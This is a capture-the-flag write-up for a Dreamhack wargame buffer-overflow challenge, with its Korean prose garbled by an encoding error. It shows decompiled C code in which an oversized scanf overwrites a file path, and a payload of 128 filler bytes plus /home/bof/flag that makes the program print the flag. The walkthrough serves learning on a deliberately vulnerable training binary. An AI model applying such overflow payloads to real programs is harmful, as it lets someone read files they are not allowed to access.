1. ๋ฌธ์
https://dreamhack.io/wargame/challenges/1111
- The path of the flag file is /home/bof/flag.
2. ํ์ด
(1) ์ฝ๋ ํ์ธ
main(): ์ฌ์ฉ์์ ์ ๋ ฅ์ ๋ฐ์ read_cat()ํจ์๋ฅผ ํธ์ถํ๊ณ ์ ๋ ฅ์ ์ถ๋ ฅํ๋ ์ฝ๋์ด๋ค.
์ด๋ ./cat ์ด ์ ์ฅ๋๋ v5๋ณ์๋ 16๋ฐ์ดํธ์ด๊ณ , ์ ๋ ฅ๊ฐ์ 128 ๋ฐ์ดํธ์ ํฌ๊ธฐ์ด๋ค. ์ฆ, v4์ ํฌ๊ธฐ๊ฐ 128๋ฐ์ดํธ์ธ๋ฐ, scanf๋ก ์ต๋ 144๋ฐ์ดํธ๋ฅผ ์ฝ์ด๋ค์ด๋ฏ๋ก, bof๊ฐ ๋ฐ์ํ ์ ์๋ ๊ฒ์ด๋ค.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[128]; // [rsp+0h] [rbp-90h] BYREF
char v5[16]; // [rsp+80h] [rbp-10h] BYREF
init(argc, argv, envp); // ์ด๊ธฐํ ํจ์ ํธ์ถ
strcpy(v5, "./cat"); // v5์ "./cat" ๋ฌธ์์ด ๋ณต์ฌ
printf("meow? ");
__isoc99_scanf("%144s", v4); // ์
๋ ฅ
read_cat(v5); // read_cat ํจ์ ํธ์ถ
printf("meow, %s :)\n", v4); // ์
๋ ฅ ์ถ๋ ฅ
return 0;
}
read_cat(): ์ฃผ์ด์ง ํ์ผ ๊ฒฝ๋ก(v5)๋ฅผ ์ด๊ณ , ์ต๋ 128๋ฐ์ดํธ์ ๋ด์ฉ์ ์ฝ์ด์ ์ถ๋ ฅํ๋ค. (ํ์ผ ๋ด์ฉ ์ถ๋ ฅ)
๋ฐ๋ผ์ ์ ๋ ฅ๊ฐ์ผ๋ก 128๋ฐ์ดํธ+flag์ ๊ฒฝ๋ก๋ฅผ ์ฃผ๋ฉด v5์ ์ํฅ์ ์ค ๊ฒ์ด๋ค.
int __fastcall read_cat(const char *a1)
{
int result; // eax
char s[128]; // [rsp+10h] [rbp-90h] BYREF
ssize_t v3; // [rsp+90h] [rbp-10h]
int fd; // [rsp+9Ch] [rbp-4h]
memset(s, 0, sizeof(s));
fd = 0;
fd = open(a1, 0);
if ( fd == -1 )
{
puts("open() error");
exit(1);
}
v3 = read(fd, s, 0x80uLL);
if ( v3 == -1 )
{
puts("read() error");
exit(1);
}
puts(&byte_40201E);
puts(s);
result = close(fd);
if ( result )
{
puts("close() error");
exit(1);
}
return result;
}
ํ์ด๋ก๋ ์์ฑ
payload = 'a' * 128
print(payload)
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/home/bof/flag
flag ํ๋ ์ฑ๊ณต